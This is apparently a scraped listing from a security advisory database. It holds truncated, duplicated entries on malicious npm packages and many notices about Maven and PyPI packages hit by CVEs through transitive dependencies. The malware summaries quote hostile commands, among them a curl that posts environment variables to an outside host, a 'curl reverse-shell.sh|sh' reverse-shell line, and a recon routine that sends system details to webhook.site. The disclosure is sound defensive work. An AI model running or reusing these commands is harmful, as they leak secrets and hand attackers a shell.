Malicious code in css-flow-render-shim (npm)

[email protected] was published to npm on 2026-10-06 22:49 UTC by user brahimhamidi the account's only package. It is described as a CSS polyfill but contains none: index.js is an empty module byte-identical to the index.js of [email protected] and payload.min.css is 15 bytes...

MAL-2026-17655 Malicious code in css-flow-render-shim (npm)

[email protected] was published to npm on 2026-10-06 22:49 UTC by user brahimhamidi the account's only package. It is described as a CSS polyfill but contains none: index.js is an empty module byte-identical to the index.js of [email protected] and payload.min.css is 15 bytes...

Malicious code in css-reading-display-polyfill (npm)

css-reading-display-polyfill is described as a CSS polyfill but contains no polyfill code. When its thunderboltRegistry.js is loaded, it runs id, whoami, uname -a, env, ifconfig and cat /etc/hosts and sends the output with the hostname to a webhook.site collector. The file also exports stubs name...

MAL-2026-17656 Malicious code in css-reading-display-polyfill (npm)

css-reading-display-polyfill is described as a CSS polyfill but contains no polyfill code. When its thunderboltRegistry.js is loaded, it runs id, whoami, uname -a, env, ifconfig and cat /etc/hosts and sends the output with the hostname to a webhook.site collector. The file also exports stubs name...

tellyo-colours (>=21.3.1, <=101.3.6), tostpro (>=100.7.0, <=112.5.9) potentially affected by unknown CVE via abbishal-poc-as-dependency (1.3.1)

abbishal-poc-as-dependency NPM version 1.3.1 is affected by a known vulnerability. The following packages have a transitive dependency on abbishal-poc-as-dependency and may be impacted: - tellyo-colours =21.3.1, =100.7.0, =112.5.9 Source cves: unknown CVE Source advisory: OSV:MAL-2026-17653...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

MAL-2026-17649 Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

ai.taskmonk:taskmonk-sdk (>=1.7, <=1.16.6), app.peac:core (0.0.1) +2453 more potentially affected by CVE-2026-107228 via org.asynchttpclient:async-http-client (>=2.1.0, <=3.0.13)

org.asynchttpclient:async-http-client MAVEN version =2.1.0, =1.7, =4.1.0, =4.0.0-beta.2, =0.7.0, =0.7.0, =0.1.0, =0.2.0, =0.7.0, =0.7.0, =0.1.0, =0.2.0, =0.9.2 and more Source cves: CVE-2026-107228 Source advisory: SNYK:JAVA-ORGASYNCHTTPCLIENT-20571297...

com.qaprosoft:carina-api (>=6.0.4, <=6.1.24), com.qaprosoft:carina-aws-s3 (>=6.0.4, <=6.1.24) +6 more potentially affected by CVE-2026-106121 via com.rabbitmq:amqp-client (4.9.0)

com.rabbitmq:amqp-client MAVEN version 4.9.0 is affected by a known vulnerability. The following packages have a transitive dependency on com.rabbitmq:amqp-client and may be impacted: - com.qaprosoft:carina-api =6.0.4, =6.0.4, =6.0.4, =6.0.4, =6.0.4, =6.0.4, =3.3.48, =4.0.58 -...

com.activitystream:as-sdk (>=0.1.13, <=0.1.25), com.alibaba.blink:flink-connector-rabbitmq_2.11 (>=blink-3.2.0, <=1.5.1) +25 more potentially affected by CVE-2026-106121 via com.rabbitmq:amqp-client (4.2.0)

com.rabbitmq:amqp-client MAVEN version 4.2.0 is affected by a known vulnerability. The following packages have a transitive dependency on com.rabbitmq:amqp-client and may be impacted: - com.activitystream:as-sdk =0.1.13, =blink-3.2.0, =1.2, =1.2, =0.0.2.10, =1.4.0, =1.4.0, =1.0-beta5, =1.1.1 -...

com.bushidowallet:bushido-address-watcher (>=1.0.0, <=1.0.1), com.bushidowallet:bushido-wallet-service (>=1.0.0, <=1.0.1) +11 more potentially affected by CVE-2026-106121 via com.rabbitmq:amqp-client (3.3.4)

com.rabbitmq:amqp-client MAVEN version 3.3.4 is affected by a known vulnerability. The following packages have a transitive dependency on com.rabbitmq:amqp-client and may be impacted: - com.bushidowallet:bushido-address-watcher =1.0.0, =1.0.0, =0.10.0, =3.0.0, =2.14.0, =2.2.0, =5.0.3,...

com.espertech:esperio-amqp (>=4.6.0, <=7.1.0), io.brooklyn.example:brooklyn-example-global-web-fabric (0.4.0) +9 more potentially affected by CVE-2026-106121 via com.rabbitmq:amqp-client (2.7.1)

com.rabbitmq:amqp-client MAVEN version 2.7.1 is affected by a known vulnerability. The following packages have a transitive dependency on com.rabbitmq:amqp-client and may be impacted: - com.espertech:esperio-amqp =4.6.0, =7.1.0 - io.brooklyn.example:brooklyn-example-global-web-fabric 0.4.0 -...

com.ahome-it:ahome-tooling-server-core (1.1.0-release), com.ahome-it:ahome-tooling-server-hazelcast (1.1.0-release) +153 more potentially affected by CVE-2026-106121 via com.rabbitmq:amqp-client (3.5.7)

com.rabbitmq:amqp-client MAVEN version 3.5.7 is affected by a known vulnerability. The following packages have a transitive dependency on com.rabbitmq:amqp-client and may be impacted: - com.ahome-it:ahome-tooling-server-core 1.1.0-release - com.ahome-it:ahome-tooling-server-hazelcast 1.1.0-releas...

ai4rag (>=0.9.0, <=0.24.0), conexus (>=7.29.0, <=7.82.0) +16 more potentially affected by CVE-2026-105742 via docling-slim (>=2.95.0, <=2.131.0)

docling-slim PYPI version =2.95.0, =0.9.0, =7.29.0, =2.95.0, =2.120.1, =0.1.0, =0.3.19, =0.1.2, =0.3.0, =0.14.0, =0.17.0, =0.7.0, =0.1.6, =0.3.0 and more Source cves: CVE-2026-105742 Source advisory: OSV:GHSA-P3FW-7699-7926...

ai4rag (>=0.9.0, <=0.24.0), conexus (>=7.29.0, <=7.82.0) +18 more potentially affected by CVE-2026-105744 via docling-slim (>=2.94.0, <=2.131.0)

docling-slim PYPI version =2.94.0, =0.9.0, =7.29.0, =2.94.0, =2.120.1, =0.1.0, =0.3.19, =0.1.2, =0.3.0, =0.14.0, =0.0.49, =1.0.0rc1, =0.17.0, =0.7.0, =0.7.1 and more Source cves: CVE-2026-105744 Source advisory: OSV:GHSA-X3Q2-H9HX-4R4J...

jf-langflow (>=1.10.0, <=1.10.0.post7), langflow-base (>=0.10.0rc0, <=0.10.0) potentially affected by CVE-2026-105697 via lfx (1.10.0)

lfx PYPI version 1.10.0 is affected by a known vulnerability. The following packages have a transitive dependency on lfx and may be impacted: - jf-langflow =1.10.0, =0.10.0rc0, =0.10.0 Source cves: CVE-2026-105697 Source advisory: GHSA-W794-RJ3P-XV45...

ai.catboost:catboost-spark_3.0_2.12 (>=0.25, <=1.2.8), ai.catboost:catboost-spark_3.1_2.12 (>=1.0.1, <=1.2.8) +12347 more potentially affected by CVE-2026-106451 via org.lz4:lz4-java (>=1.7.0, <=1.8.1)

org.lz4:lz4-java MAVEN version =1.7.0, =0.25, =1.0.1, =1.0.6, =1.0.6, =1.1, =1.1.1, =1.2, =1.2, =1.2.3, =1.2.3, =chaining-0.0.46-dev, =chaining-0.0.46-dev, =chaining-0.0.46-dev, =0.0.115 and more Source cves: CVE-2026-106451 Source advisory: OSV:GHSA-MCR4-QMVW-PX4G...

ai.catboost:catboost-spark_2.11 (>=0.25-rc1, <=0.25-rc3), ai.catboost:catboost-spark_2.12 (>=0.25-rc1, <=0.25-rc3) +15562 more potentially affected by CVE-2026-106449 via org.lz4:lz4-java (>=1.4.0, <=1.8.1)

org.lz4:lz4-java MAVEN version =1.4.0, =0.25-rc1, =0.25-rc1, =0.25, =0.25, =0.25, =0.25, =1.0.1, =1.0.6, =1.0.6, =1.1, =1.1.1, =1.2, =1.2, =1.2.3, =1.2.3, =1.2.10 and more Source cves: CVE-2026-106449 Source advisory: GHSA-343H-94H5-C4WR...